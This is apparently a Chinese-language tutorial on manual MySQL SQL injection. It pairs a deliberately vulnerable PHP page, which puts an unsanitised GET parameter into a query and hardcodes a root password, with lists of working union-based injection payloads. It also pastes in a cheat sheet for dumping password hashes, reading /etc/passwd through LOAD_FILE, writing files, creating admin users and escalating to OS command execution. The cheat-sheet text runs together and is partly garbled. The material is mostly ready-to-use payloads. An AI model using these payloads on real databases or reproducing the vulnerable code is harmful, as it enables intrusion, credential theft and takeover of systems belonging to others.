mysql -- 手工注入

------------------[index1.php源碼]------------------

<form action="index2.php" method="get">

ID:

<input type=text name="id" />

<input type=submit>

------------------[index2.php源碼]------------------

<?php

$con = mysql_connect("localhost","root","fuckyou");

mysql_select_db("mytestdb", $con);

$id=$_GET["id"];

$sql="select * from testtab where id=$id";

echo $sql."<br/>";

$rst=mysql_query($sql);

$tmp=mysql_fetch_array($rst);

echo $tmp["name"];

mysql_close($con);

?>

------------------[資料庫:mytestdb,表名testtab]------------------

id   name

1    jack

2    Nike

3    Mery

4    Bomb

檢視mysql基本資訊

and 1=2 union select 1,version() ----- 檢視資料庫版本

and 1=2 union select 1,database() ---- 檢視目前使用的資料庫

and 1=2 union select 1,user() ------檢視目前資料庫使用者

and ord(mid(user(),1,1))=114 ------ 判斷使用者是否為root

暴字段内容

UNION 結果集中的列名總是等于 UNION 中第一個 SELECT 語句中的列名

and 1=1 union select 1,2

select * from db WHERE id= x and 1=1 Union select 1,2,3,4,5----------------

暴字段位置

and 1=2 union select 1,2

select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5----------------

暴資料庫資訊(有些網站不适用):

and 1=2 union all select version() 1;Current UserSELECT user();

SELECT system_user();List UsersSELECT user FROM mysql.user; — privList Password HashesSELECT host, user, password FROM mysql.user; — privPassword CrackerJohn the Ripper will crack MySQL password hashes.List PrivilegesSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columnsList DBA AccountsSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # privCurrent DatabaseSELECT database()List DatabasesSELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0

SELECT distinct(db) FROM mysql.db — privList ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’Find Tables From Column NameSELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’Select Nth RowSELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0Select Nth CharSELECT substr(‘abcd’, 3, 1); # returns cBitwise ANDSELECT 6 & 2; # returns 2

SELECT 6 & 1; # returns 0ASCII Value -> CharSELECT char(65); # returns AChar -> ASCII ValueSELECT ascii(‘A’); # returns 65CastingSELECT cast(’1′ AS unsigned integer);

SELECT cast(’123′ AS char);String ConcatenationSELECT CONCAT(‘A’,'B’); #returns AB

SELECT CONCAT(‘A’,'B’,'C’); # returns ABCIf StatementSELECT if(1=1,’foo’,'bar’); — returns ‘foo’Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns AAvoiding QuotesSELECT 0×414243; # returns ABCTime DelaySELECT BENCHMARK(1000000,MD5(‘A’));

SELECT SLEEP(5); # >= 5.0.12

Make DNS RequestsImpossible?Command ExecutionIf mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.Local File Access…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.

SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file systemHostname, IP AddressSELECT @@hostname;Create UsersCREATE USER test1 IDENTIFIED BY ‘pass1′; — privDelete UsersDROP USER test1; — privMake User DBAGRANT ALL PRIVILEGES ON *.* TO test1@’%'; — privLocation of DB filesSELECT @@datadir;Default/System Databasesinformation_schema (>= mysql 5.0)

mysql

----[推薦]---------------------------------------------

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

http://sqlzoo.net/wiki/Main_Page

http://resources.infosecinstitute.com/sql-injections-introduction/